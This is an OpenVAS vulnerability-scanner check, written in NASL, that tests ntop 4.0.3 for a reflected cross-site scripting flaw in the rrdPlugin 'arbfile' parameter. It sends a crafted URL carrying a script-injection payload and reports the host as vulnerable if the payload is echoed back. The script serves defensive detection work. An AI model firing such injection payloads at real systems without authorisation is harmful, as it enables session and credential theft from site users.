ntop 'arbfile' Parameter Cross Site Scripting Vulnerability

2012-08-07T00:00:00
ID OPENVAS:1361412562310103531
Type openvas
Reporter This script is Copyright (C) 2012 Greenbone Networks GmbH
Modified 2019-03-01T00:00:00

Description

ntop is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_ntop_54792.nasl 13957 2019-03-01 09:46:54Z ckuersteiner $
#
# ntop 'arbfile' Parameter Cross Site Scripting Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = 'cpe:/a:ntop:ntop';

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103531");
  script_bugtraq_id(54792);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_version("$Revision: 13957 $");

  script_name("ntop 'arbfile' Parameter Cross Site Scripting Vulnerability");

  script_tag(name:"last_modification", value:"$Date: 2019-03-01 10:46:54 +0100 (Fri, 01 Mar 2019) $");
  script_tag(name:"creation_date", value:"2012-08-07 11:41:07 +0200 (Tue, 07 Aug 2012)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
  script_dependencies("ntop_detect.nasl");
  script_mandatory_keys("ntop/installed");
  script_require_ports("Services/www", 3000);

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54792");
  script_xref(name:"URL", value:"http://www.ntop.org/ntop.html");

  script_tag(name:"solution", value:"Reportedly the issue is fixed, however Symantec has not confirmed
  this. Please contact the vendor for more information.");

  script_tag(name:"summary", value:"ntop is prone to a cross-site scripting vulnerability because it fails
  to sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script code
  in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker
  to steal cookie-based authentication credentials and to launch other attacks.");

  script_tag(name:"affected", value:"ntop 4.0.3 is vulnerable, other versions may also be affected.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

url = dir + '/plugins/rrdPlugin?action=arbreq&which=graph&arbfile=TEST"><script>alert(/xss-test/)</script>&arbiface=eth0&start=1343344529&end=1343348129&counter=&title=Active+End+Nodes&mode=zoom';

if( http_vuln_check( port:port, url:url, check_header:TRUE, pattern:"<script>alert\(/xss-test/\)</script>" ) ) {
  report = report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );